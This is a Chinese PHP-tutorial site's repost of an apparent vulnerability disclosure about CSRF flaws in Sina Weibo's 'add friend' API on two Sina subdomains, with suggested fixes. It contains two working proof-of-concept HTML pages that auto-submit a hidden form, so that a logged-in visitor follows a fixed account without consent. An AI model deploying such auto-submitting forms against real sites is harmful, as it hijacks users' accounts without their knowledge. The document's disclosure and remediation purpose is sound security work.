来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 微博加关注的接口要管理好啊,新浪的同学!没有对referer验证,没有加token导致登录新浪微博社会招聘:http://hr.weibo.com/jobs/index.php访问如下poc页面htmlbodyform id=fxx name=fxx action=ht......
微博加关注的接口要管理好啊,新浪的同学!
没有对referer验证,没有加token导致
登录新浪微博社会招聘:http://hr.weibo.com/jobs/index.php
访问如下poc页面
<html>
<body>
<form id="fxx" name="fxx" action="http://hr.weibo.com/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
即可关注乌云:
修复方案:
1.这个站CSRF不设防哦,请做好其他检查; 2.检查POST来路Referer,在POST的信息中加token;
多留意了一眼,就多了一个洞
详细说明:没有对referer验证,没有加token导致
漏洞证明:登录新浪微博社会招聘:http://campus.sina.com.cn
访问如下poc页面
<html>
<body>
<form id="fxx" name="fxx" action="http://campus.sina.com.cn/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
修复方案:
1.这个站同样也是CSRF不设防哦,请做好其他检查; 2.检查POST来路Referer,在POST的信息中加token;
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com